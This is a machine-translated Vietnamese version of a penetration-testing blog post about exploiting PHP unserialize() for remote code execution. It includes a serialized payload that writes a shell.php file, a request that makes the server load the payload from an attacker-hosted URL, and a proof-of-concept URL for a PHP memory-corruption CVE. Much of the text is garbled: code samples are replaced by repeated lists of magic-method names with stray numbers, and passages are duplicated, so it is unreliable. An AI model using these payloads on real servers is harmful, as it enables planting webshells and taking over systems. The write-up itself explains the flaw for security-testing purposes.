Hướng dẫn unserialize php rce - khử miền php ce

Tại NotSoSecure, chúng tôi tiến hành đánh giá kiểm tra/ mã bút hàng ngày và gần đây chúng tôi đã bắt gặp một đoạn mã PHP thú vị có thể dẫn đến RCE, nhưng việc khai thác là một chút khó khăn. Sau khi dành một số đêm mất ngủ để cố gắng phá vỡ mã này, chúng tôi đã xác định rằng cả thực thi mã cấp ứng dụng và cấp hệ thống đều có thể sử dụng lỗ hổng. Bài đăng trên blog này từ Rahul Sasi sẽ làm giảm một số thông tin về phần lỗi và việc khai thác.

Mã dễ bị tổn thương:

Hướng dẫn unserialize php rce - khử miền php ce
Mã dễ bị tổn thương PHP

</code>In the above code, user controlled value could be passed on to PHP un-serialization function. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the <code>unserialize(). Vì PHP cho phép tuần tự hóa đối tượng, những kẻ tấn công có thể chuyển các chuỗi tuần tự hóa ad-hoc cho một cuộc gọi Unserialize() dễ bị tổn thương, dẫn đến một đối tượng PHP tùy ý vào phạm vi ứng dụng. Trong mã của chúng tôi, ứng dụng lấy tên tệp, được đọc bằng hàm PHP file_get_contents. Đầu ra sau đó được đưa vào mô -đun PHP unserialize. Với lỗi trên cả cấp ứng dụng và thực thi mã cấp hệ thống là có thể, chúng tôi sẽ sớm nhận được điều đó.

Hướng dẫn unserialize php rce - khử miền php ce
PHP unserialize

Để khai thác thành công lỗi, ba điều kiện phải được thỏa mãn:

  • Ứng dụng phải có một lớp thực hiện Phương pháp Phép thuật PHP (chẳng hạn như __wakeup hoặc __destruct) có thể được sử dụng để thực hiện các cuộc tấn công độc hại hoặc để bắt đầu "chuỗi pop".
  • Tất cả các lớp được sử dụng trong cuộc tấn công phải được khai báo khi
    __construct(), __destruct(), __call(), __callSt
    atic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().
    0 dễ bị tổn thương, nếu không, tự động tải đối tượng phải được hỗ trợ cho các lớp đó.
  • Dữ liệu được truyền đến không bị hủy phát ra từ một tệp, do đó, một tệp có dữ liệu tuần tự hóa phải có trên máy chủ.

Tham khảo: https://www.owasp.org/index.php/php_object_injection

Trong kịch bản trên, các điều kiện 1 và 2 được thỏa mãn để khai thác. Nhưng vì đầu vào không được tiết lộ xuất phát từ một tệp được đọc bởi PHP file_get_contents, nên việc khai thác một chút.

Hàm PHP file_get_contents có thể được truyền bằng các URL từ xa nếu

__construct(), __destruct(), __call(), __callSt
atic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().
3 được bật (trên các phiên bản PHP mới nhất của nó bị vô hiệu hóa theo mặc định). Trong một trường hợp như vậy, kẻ tấn công có thể truyền trong URL với một tệp chứa dữ liệu độc hại được nối tiếp được lưu trữ trên máy chủ từ xa.

Vul-server/unsearability.php? session_filename = Attacker/exp.txt

Nội dung của exp.txt

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}

Nhưng thật không may,

__construct(), __destruct(), __call(), __callSt
atic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().
3 không được bật trên các ứng dụng chúng tôi đang thử nghiệm. Lưu ý: Không thể bao gồm một tệp như
__construct(), __destruct(), __call(), __callSt
atic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().
5 hoặc bất cứ thứ gì tương tự (như nhật ký truy cập) vì, một chuỗi nối tiếp không được chứa dữ liệu rác. Vì vậy, tệp của chúng tôi chỉ nên chứa dữ liệu tuần tự hóa để khai thác hoạt động. Trước khi chúng tôi chuyển sang cách khai thác mã trên, hãy để tôi giải thích một chút về khai thác tiêm đối tượng PHP và tải trọng trên làm gì.Note: It is not possible to include a file like
__construct(), __destruct(), __call(), __callSt
atic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().
5 or anything similar (like access logs) since, a serialized string should not contain garbage data. So our file should only contain the serialized data for the exploit to work.
Before we move on to how to exploit the above code let me explain a bit on PHP object injection exploit and what the above payload does.

Tiêm đối tượng PHP:

Các vấn đề bảo mật dựa trên không chính xác của PHP được Stefan Esser ghi lại vào năm 2009. Ngày nay với sự gia tăng số lượng các mô -đun tuần tự hóa ứng dụng dựa trên JSON được sử dụng rất nhiều. Hãy tìm hiểu thêm về các mô -đun tuần tự hóa.

Php tuần tự hóa:

Để bảo quản nội dung trên một mảng PHP có hàm này được gọi là

__construct(), __destruct(), __call(), __callSt
atic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().
6, nó chuyển đổi một mảng, được đưa ra dưới dạng tham số, thành một chuỗi bình thường mà bạn có thể được lưu trong một tệp, được chuyển dưới dạng đầu vào cho một URL, v.v.

Hướng dẫn unserialize php rce - khử miền php ce
Hàm nối tiếp PHP

Tham khảo: http://www.hackingwithphp.com/5/11/0/saving-arrays

Ví dụ tuần tự hóa:

Nối tiếp một mảng chuỗi 3 char.

Hướng dẫn unserialize php rce - khử miền php ce
Ví dụ serialize 3 mảng chuỗi char

Understanding the serialized string

Hướng dẫn unserialize php rce - khử miền php ce
Understanding serialized string

a:3{ Array of 3 values
i:0 Integer, value [ index-0]
S:5:”Lorem” String, 5 chars long, string value “Lorem”
i:1 Integer, value [index-1]
S:5:”Ipsum” String , 5 chars long, string value “Ipsum”
i:2 Integer, value [index-2]
S:5:”Dolor” Chuỗi, 5 ký tự dài, giá trị chuỗi “Dolor”

PHP UnSerialization

__construct(), __destruct(), __call(), __callSt
atic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().
7 trái ngược với
__construct(), __destruct(), __call(), __callSt
atic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().
6. Nó lấy một chuỗi tuần tự hóa và chuyển đổi nó trở lại một đối tượng mảng. Unterialization có thể dẫn đến mã được tải và thực thi do khởi tạo đối tượng và tải tự động.

Example:

__construct(), __destruct(), __call(), __callSt
atic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().
9

Tự động tải PHP:

Trong PHP, chúng ta có thể xác định một số chức năng đặc biệt sẽ được gọi tự động. Các chức năng như vậy không yêu cầu cuộc gọi chức năng để thực thi mã bên trong. Với tính năng đặc biệt này, chúng thường được gọi là các hàm ma thuật hoặc phương pháp ma thuật. Tên phương thức ma thuật PHP bị giới hạn với một số danh sách các từ khóa được hỗ trợ PHP, như xây dựng, phá hủy, v.v.

Chức năng ma thuật được sử dụng phổ biến nhất là

Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString
0. Điều này là do theo Php phiên bản 5, phương pháp
Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString
1 về cơ bản là hàm tạo cho lớp của bạn. Nếu PHP 5 không thể tìm thấy hàm __construct () cho một lớp đã cho, thì nó sẽ tìm kiếm một hàm có cùng tên với tên lớp - đây là cách viết các trình xây dựng cũ trong PHP, nơi bạn sẽ xác định một hàm Với cùng tên với lớp.

Dưới đây là một vài chức năng ma thuật trong PHP:

__construct(), __destruct(), __call(), __callSt
atic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().

Dưới đây là một vài phương pháp ma thuật trong PHP:

Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString

REF: http://www.programmerinterview.com/index.php/php-questions/php-what-are-magic-faces/

Đối tượng khởi tạo:

Instantiation là khi một lớp trở thành một đối tượng bằng cách tạo một thể hiện của lớp trong bộ nhớ. Vì vậy, khi bạn thực sự gọi mới

Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString
2,
Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString
2 hiện là một đối tượng khởi tạo. Khi bạn không tự chủ hóa một chuỗi chính xác là những gì PHP làm [Instantiation] đối tượng], hãy chuyển đổi một chuỗi mảng thành các đối tượng. Các đối tượng không tự động hóa cho phép kiểm soát tất cả các thuộc tính a) công khai b) được bảo vệ c) riêng tư, tuy nhiên các đối tượng không cần thiết bị đánh thức
Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString
4 và sau đó bị phá hủy thông qua
Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString
5, và do đó mã hiện có được đặt bên trong các chức năng ma thuật [đánh thức] này Thực thi.

Ref:http://www.nds.rub.de/media/nds/attachments/files/2011/02/RUB2011-SecurityProblemsInWebApplicationsExceptInjectionVulnerabilities.pdf

Vì vậy, chúng ta cần tìm mã có thể sử dụng hiện có được xác định bên trong _Destruct hoặc _wakeup, sau đó chiếm quyền điều khiển dòng của ứng dụng.

Trong chương trình dễ bị tổn thương của chúng tôi, chúng tôi đã phá hủy với một hàm file_put_contents:

Hướng dẫn unserialize php rce - khử miền php ce
Phá hủy với file_put_contents

Vì vậy, tải trọng của chúng tôi trông giống như:

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}
O: 3 {:[Đối tượng, lấy tham số 3 với tên foo]
"Foo": 2: {[Tham số foo lấy 2 giá trị]
S: 4: Tệp tệp; S: 9: Shell shell.php.
S: 4: "Dữ liệu"; S: 5: "AAAA";}Chuỗi, 4 ký tự dài, chuỗi 5 chars dài, giá trị

Vì vậy, khi chuỗi đầu vào ở trên của chúng tôi không cần thiết, nó cho phép kiểm soát các thuộc tính của lớp FOO FOO. Một mã đã có bên trong một phương thức ma thuật, ____ ____26, được thực thi với các giá trị được kiểm soát của chúng tôi, trong trường hợp của chúng tôi

Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString
7, tạo một tệp shell shell.php.

Khai thác:

Vì trong trường hợp của chúng tôi, đầu vào để không xác định là tệp được đọc từ File_Get_Contents.

Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString
8

Một trong những điều chúng tôi đã thử là tìm một phương pháp để đưa lên exp.txt trên máy chủ. Đối với điều này, chúng tôi đã phải tìm một tính năng tải lên tệp/hình ảnh. Và sau đó tải lên tệp với tải trọng tuần tự hóa. & Nbsp; Sau đó, tất cả những gì chúng tôi phải làm là kích hoạt, cách sau.

vul-server/unsearilize.php?session_filename=images/exp.txt

Có thể sử dụng cấp độ hệ thống thay thế bằng cách sử dụng CVE-2014-8142 và CVE-2015-0231

Lỗ hổng sử dụng không có gì trong chức năng Process_Nested_Data trong ext/standard/var_unserializationr.re trong PHP trước 5.4.36, 5.5.x trước 5.5.20 và 5.6.x trước 5.6.4 cho phép kẻ tấn công từ xa thực thi mã tùy ý thông qua thông qua Một cuộc gọi không chính thức được chế tạo để tận dụng việc xử lý các khóa trùng lặp không đúng cách trong các thuộc tính tuần tự hóa của một đối tượng.

https://bugs.php.net/bug.php?id=68710

Lỗi trên ảnh hưởng đến chức năng không ổn định PHP cốt lõi. POC được phát hành bởi Stefan Esser, chúng tôi đã cố gắng tối ưu hóa và thực hiện mã có thể với lỗi. Vì nó có thể đạt được cấp độ hệ thống nếu khai thác thành công.

Kiến trúc bảo mật PHP + Apache:

Hướng dẫn unserialize php rce - khử miền php ce
Kiến trúc PHP

Các sơ đồ này đủ tốt để giải thích chi tiết kiến ​​trúc PHP.

1) Vì vậy, nếu chúng ta có thể thực thi mã trong ngữ cảnh của PHP, chúng ta sẽ có thể thoát ra khỏi nhiều hạn chế. 2) Có thể có quyền truy cập shell vào máy chủ PHP cứng.
2) Should be able to get shell access to hardned PHP Hosts.

Tôi vẫn đang làm việc này. Và tôi đã phát hiện ra rằng, Tim Tim Michaud, từ Innulled đang làm việc trên cùng một http: //www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-i .... Chúng tôi sẽ cập nhật blog này sớm.

http://[IP]/unserialize_rce_poc.php?s=O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:50:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11111111111";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';

Hướng dẫn unserialize php rce - khử miền php ce
Mã POC để rò rỉ bộ nhớ

Hướng dẫn unserialize php rce - khử miền php ce
Mã POC để rò rỉ bộ nhớ

Hướng dẫn unserialize php rce - khử miền php ce
Mã POC để rò rỉ bộ nhớ

Liên hệ với chúng tôi để thảo luận thêm về dịch vụ đánh giá Pentest/Code của chúng tôi.

References:

  • http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html
  • https://www.alertlogic.com/blog/writing-exploits-for-exotic-bug-classes
  • http://php-autoloader.malkusch.de/en
  • https://hakre.wordpress.com/2013/02/10/php-autoload-invalid-classname-injection
  • http: //security.stackexchange. com/câu hỏi/77549/is-php-unserialization-exploable-without-in-interesting-
    com/questions/77549/is-php-Unserialization-exploitable-without-any-interesting-
  • http://xahlee.info/php-doc/
  • http://phppot.com/php/php-magic-methods
  • http://php.net/manual/en/
  • http://stackoverflow.com/questions/11630341/real-time-use-of-php-magic-methods-sleep-and-wakeup